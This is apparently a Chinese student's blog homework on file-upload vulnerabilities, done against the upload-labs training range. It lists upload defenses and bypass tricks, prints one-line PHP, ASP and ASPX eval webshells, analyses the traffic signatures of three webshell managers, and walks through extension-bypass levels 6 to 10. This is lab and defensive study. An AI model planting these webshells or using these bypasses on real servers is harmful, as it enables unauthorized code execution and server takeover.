毕业实习-第七次作业

目录

一.文件上传防御手段及绕过手段总结

文件上传的防御手段

1. JS前端校验文件类型

2. 校验上传文件类型

3. 校验上传文件内容

4. 校验上传文件大小

5. 校验上传文件路径

6. 校验请求头Content-Type字段

7. 文件上传后存储到存储桶中

8. 文件上传后以时间戳方式重写文件名

9. 设置可执行目录白名单

文件上传的绕过手段

1. 大/双写文件名绕过

2. 恶意文件内容以多段拼凑/拆解的形式组合

3. 目录穿越到可执行目录

4. 修改MIME类型

5. 大小写绕过

6. 图片木马

7. 文件包含绕过

8. 文件竞争绕过

9. 修改文件后缀名

二.文件上传常用一句话木马(表格总结)

三.3种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

蚁剑流量分析

生成木马

配置代理

分析特征

冰蝎流量分析

生成木马

配置代理

分析特征

哥斯拉流量分析

生成木马

配置代理

分析特征

四.文件上传无回显如何查找webshell地址

五.文件上传表单的无参/有参情况下构造表单

无参情况下构造表单

HTML示例

Burp Suite构造请求体

有参情况下构造表单

HTML示例

Burp Suite构造请求体

六.upload-labs靶场闯关(6~10)

Pass-06

Pass-07

Pass-08

Pass-09

Pass-10


1. 文件上传防御手段及绕过手段总结

2. 文件上传常用一句话木马

3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

4. 文件上传无回显如何查找webshell地址

5. 文件上传表单的无参/有参情况下构造表单

6. upload-labs靶场通关第6-第10关

一.文件上传防御手段及绕过手段总结

文件上传的防御手段
1. JS前端校验文件类型

说明:在文件选择阶段,通过JavaScript(JS)对文件类型进行初步校验,减少后端处理压力。

具体做法

  • 使用<input type="file" accept="...">标签的accept属性限制用户只能选择特定类型的文件。
  • 编写JS函数,在文件选择后通过文件扩展名或MIME类型(file.type)进行校验。
  • 对于更严格的校验,可以读取文件的前几个字节(文件签名)来判断文件类型。
2. 校验上传文件类型

说明:在后端对上传的文件类型进行进一步校验,确保文件类型的安全性。

具体做法

  • 检查文件扩展名是否在允许范围内。
  • 检查文件的MIME类型是否合法。
  • 使用文件签名技术(如检查文件头的前几个字节)进行类型验证。
3. 校验上传文件内容

说明:对文件内容进行扫描,检测是否存在恶意代码或病毒。

具体做法

  • 使用病毒扫描软件或库对上传的文件进行扫描。
  • 对特定类型的文件(如脚本文件)进行内容解析,检查是否存在危险代码。
4. 校验上传文件大小

说明:限制上传文件的大小,防止过大的文件占用过多服务器资源或导致服务拒绝。

具体做法

  • 在前端和后端都设置文件大小限制。
  • 检查文件大小是否超过预设的阈值。
5. 校验上传文件路径

说明:确保上传的文件不会被存储在可执行的目录下,防止被当作脚本执行。

具体做法

  • 将上传的文件存储在非可执行的目录下。
  • 禁止上传的文件具有执行权限。
6. 校验请求头Content-Type字段

说明:检查HTTP请求头中的Content-Type字段,确保其与上传的文件类型一致。

具体做法

  • 在后端接收文件时,检查Content-Type字段是否匹配文件类型。
  • 如果不匹配,则拒绝上传。
7. 文件上传后存储到存储桶中

说明:将上传的文件存储在云存储桶中,实现文件的安全存储和高效管理。

具体做法

  • 使用云存储服务(如AWS S3、阿里云OSS等)创建存储桶。
  • 将上传的文件保存到指定的存储桶中。
8. 文件上传后以时间戳方式重写文件名

说明:为了防止文件名冲突和猜测文件名进行攻击,使用时间戳作为文件名的一部分。

具体做法

  • 在文件上传时,生成一个包含时间戳的唯一标识符。
  • 将这个唯一标识符与原始文件名结合,生成新的文件名。
9. 设置可执行目录白名单

说明:明确指定哪些目录是可执行的,防止上传的文件被误执行。

具体做法

  • 在服务器上设置可执行目录的白名单。
  • 确保只有白名单中的目录具有执行权限。
文件上传的绕过手段
1. 大/双写文件名绕过

说明:通过修改文件名(如添加空格、双写扩展名等)来绕过文件类型校验。

示例:将malicious.php修改为malicious.php.jpgmalicious.php .jpg

2. 恶意文件内容以多段拼凑/拆解的形式组合

说明:将恶意代码分散在文件的多个部分,避开简单的内容扫描。

示例:将恶意代码隐藏在图片文件的末尾或中间部分。

3. 目录穿越到可执行目录

说明:通过构造特殊的文件路径,将文件上传到可执行目录下。

示例:上传文件时指定路径为../executable/,尝试穿越到可执行目录。

4. 修改MIME类型

说明:通过修改HTTP请求头中的MIME类型字段,绕过MIME类型校验。

示例:将Content-Type字段修改为image/jpeg,但实际上传的是PHP脚本。

5. 大小写绕过

说明:利用系统对文文名大小写的不敏感性,绕过基于文件扩展名的校验。

示例:将malicious.PHP(大写PHP)上传到只检查小写扩展名的系统。

6. 图片木马

说明:将恶意代码隐藏在看似正常的图片文件中,通过特殊手段触发执行。

示例:在JPEG图片中嵌入PHP代码,并修改图片文件头以绕过校验。

7. 文件包含绕过

说明:利用服务器上的文件包含漏洞,执行上传的恶意文件。

示例:通过上传包含恶意代码的文件,并利用文件包含漏洞将其包含到PHP脚本中执行。

8. 文件竞争绕过

说明:利用文件上传和处理的时间差,上传恶意文件并快速执行。

示例:在文件上传后,利用文件处理的时间窗口快速访问并执行恶意文件。

9. 修改文件后缀名

说明:通过修改文件的后缀名来绕过基于文件扩展名的校验。

示例:将malicious.php修改为malicious.jpg并上传,然后尝试通过其他方式执行该文件。

二.文件上传常用一句话木马(表格总结)

脚本语言

一句话木马示例

备注

PHP

<?php @eval($_POST['cmd']); ?>

常用的PHP一句话木马,通过POST请求执行任意PHP代码

ASP

<% eval request("cmd") %>

ASP环境下的一句话木马,执行通过请求传递的cmd参数

ASPX

<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>

ASPX环境下的一句话木马,使用JScript执行请求中的cmd参数

备注

  • @符号在PHP中用于抑制错误信息的显示,即使执行出错也不会显示错误信息。
  • eval()函数用于执行字符串作为PHP代码。
  • $_POST['cmd']request("cmd")Request.Item["cmd"]分别是从HTTP POST请求中获取名为"cmd"的参数值。

三.3种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

中国蚁剑

哥斯拉

冰蝎

蚁剑流量分析
生成木马

编辑一句话木马

配置代理

蚁剑设置BurpSuite代理

BurpSuite开启抓包,蚁剑连接后随便点开几个目录文件,查看流量特征

分析特征

抓包后会发现每个请求体都存在以@ini_set(“display_errors”,“0”);@set_time_limit(0)开头的字符串

冰蝎流量分析
生成木马

冰蝎生成木马

放到本地phpstudy的WWW目录下,连接冰蝎

配置代理

冰蝎设置BurpSuite的代理

BurpSuite开启抓包,冰蝎连接后随便进几个目录文件,查看流量特征

分析特征

冰蝎4.0

  • Accept字段(弱特征):通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
  • Content-Type字段(弱特征):通常是Content-type: Application/x-www-form-urlencoded
  • 随机User-Agent:查阅资料得知,冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。
    验证如下,多次连接,截到与第一次不一样的图

  • PHP webshell 中存在固定代码


    默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥
  • 固定的请求头和响应头:逆向分析加密算法
    请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M
    响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd


    翻车了,不会解密
哥斯拉流量分析
生成木马

生成木马gsl.php

配置代理

放到本地phpstudy的WWW目录下,配置BurpSuite代理,连接哥斯拉

分析特征
  • User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。
  • Accept字段(弱特征):默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,只能作为辅助检测的特征。
  • Cookie中有一个非常关键的特征,最后会有个分号

  • 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
  • 数据包以eval开头

三种工具流量抓包如下:

四.文件上传无回显如何查找webshell地址

  1. 检查服务器日志
    • Web服务器日志:检查Apache、Nginx等Web服务器的访问日志和错误日志,看是否有关于文件上传的记录。这些日志可能会显示上传文件的尝试以及上传后文件被保存的位置。
    • 应用程序日志:如果应用程序有自己的日志记录功能,检查这些日志以获取上传文件的相关信息。
  1. 分析源代码
    • 如果可能的话,获取并分析目标网站的源代码。检查文件上传功能的实现,看是否有关于文件保存路径的硬编码或可预测的命名规则。
    • 特别注意那些处理文件上传的PHP、ASP、JSP等脚本文件,查看它们是如何处理上传的文件并保存到服务器的。
  1. 利用已知漏洞
    • 如果目标网站存在已知的上传漏洞或安全漏洞,可以利用这些漏洞来上传webshell并获取其地址。这通常需要对目标网站进行详细的漏洞扫描和渗透测试。
  1. 使用Webshell扫描工具
    • 使用专业的Webshell扫描工具(如D盾、河马等)对网站进行扫描。这些工具能够识别并定位网站中的Webshell文件。
    • 注意,使用这些工具需要遵守相关法律法规和道德准则,仅应在授权或合法测试的环境中使用。
  1. 查看文件系统的变化
    • 如果能够访问目标服务器的文件系统(例如,通过SSH、FTP等),可以比较上传操作前后的文件变化。
    • 检查新创建或修改的文件,特别是那些位于可写目录中的文件。这些文件可能是新上传的webshell。
  1. 利用搜索引擎和在线扫描服务
    • 使用搜索引擎的site命令(如site:www.example.com)结合文件类型搜索(如inurl:.php?pass=),尝试找到可能包含webshell的URL。
    • 利用在线扫描服务或网站监控工具来检测网站上的可疑活动或文件。
  1. 分析网络流量
    • 如果能够捕获并分析目标网站的网络流量(例如,通过Wireshark等工具),可以查找与文件上传相关的HTTP请求和响应。
    • 特别是关注那些包含文件上传数据的POST请求,以及服务器对这些请求的响应。

五.文件上传表单的无参/有参情况下构造表单

无参情况下构造表单

在无参情况下,通常意味着表单的字段名(如文件输入字段的name属性)是固定的或已知的。

HTML示例
<form action="http://example.com/upload" method="post" enctype="multipart/form-data">  
  <input type="file" name="file">  
  <input type="submit" value="Upload">  
</form>

在这个例子中,文件输入字段的name属性被设置为file,这是服务器期望接收文件的字段名。

Burp Suite构造请求体

在Burp Suite中,可以拦截一个类似的POST请求,并修改其请求体以包含文件上传数据。请求体可能看起来像这样(仅展示multipart/form-data的边界部分,实际请求中边界字符串会更复杂):

--boundary  
Content-Disposition: form-data; name="file"; filename="example.txt"  
Content-Type: text/plain  
  
文件内容  

--boundary--
有参情况下构造表单

在有参情况下,表单的字段名可能是可配置的或未知的。这通常发生在动态生成的表单或API调用中。

HTML示例

假设一个带有动态字段名的表单:

<form id="uploadForm" action="http://example.com/upload" method="post" enctype="multipart/form-data">  
  <input type="file" id="fileInput" name="dynamicFieldName">  
  <input type="submit" value="Upload">  
</form>  
Burp Suite构造请求体

在Burp Suite中,如果知道或能够推断出动态字段名,则直接修改请求体以匹配这个字段名。例:如果动态字段名为someDynamicFieldName,则请求体可能如下:

--boundary  
Content-Disposition: form-data; name="someDynamicFieldName"; filename="example.txt"  
Content-Type: text/plain  

文件内容  
  
--boundary--

六.upload-labs靶场闯关(6~10)

Pass-06

防御点:服务端黑名单检测后缀
绕过点:文件后缀名大小写绕过

1.直接上传不行,提示该文件类型不允许上传

2.抓包,尝试修改Content-Type字段,仍不允许上传

3.改一下后缀名,转为大写PHP

成功上传

4.查看目录,发现服务端对其进行了更名

5.浏览器访问

Pass-07

防御点:服务端黑名单检测后缀

绕过点:空格绕过

1.这次大小写绕过不行了,查看源码,发现比较白名单前已被转为小写

2.尝试空格绕过,抓包更名为'xxx.php '

3.上传成功,不过又被改名了

4.浏览器访问

Pass-08

防御点:服务端黑名单检测

绕过点:点绕过

1.看看提示

666

2.查看网页源码

3.抓包改后缀,在后面加个'.'进行绕过【查询资料得知,在Windows系统中,如果保存文件的文件名是以点结尾,系统会自动将点去掉】,那不仅可以绕过,而且也方便后面访问了

4.成功上传

5.浏览器访问

Pass-09

防御点:更高级的先前处理的服务端黑名单检测

绕过点:::$DATA绕过

windows遇见后缀::$DATA,会把它当作文件流处理,不再检查后缀

1.抓包,增加后缀::$DATA

2.放行,成功上传

3.浏览器访问【window会自动把::$DATA删除,所以可以直接访问】

Pass-10

防御点:服务端白名单检测过滤

绕过点:点+空格绕过

1.查看源码

2.查阅资料【deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来】

3.抓包,改后缀名为.php. . ,就可以保留.php

4.成功上传

5.浏览器访问

  • 13
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值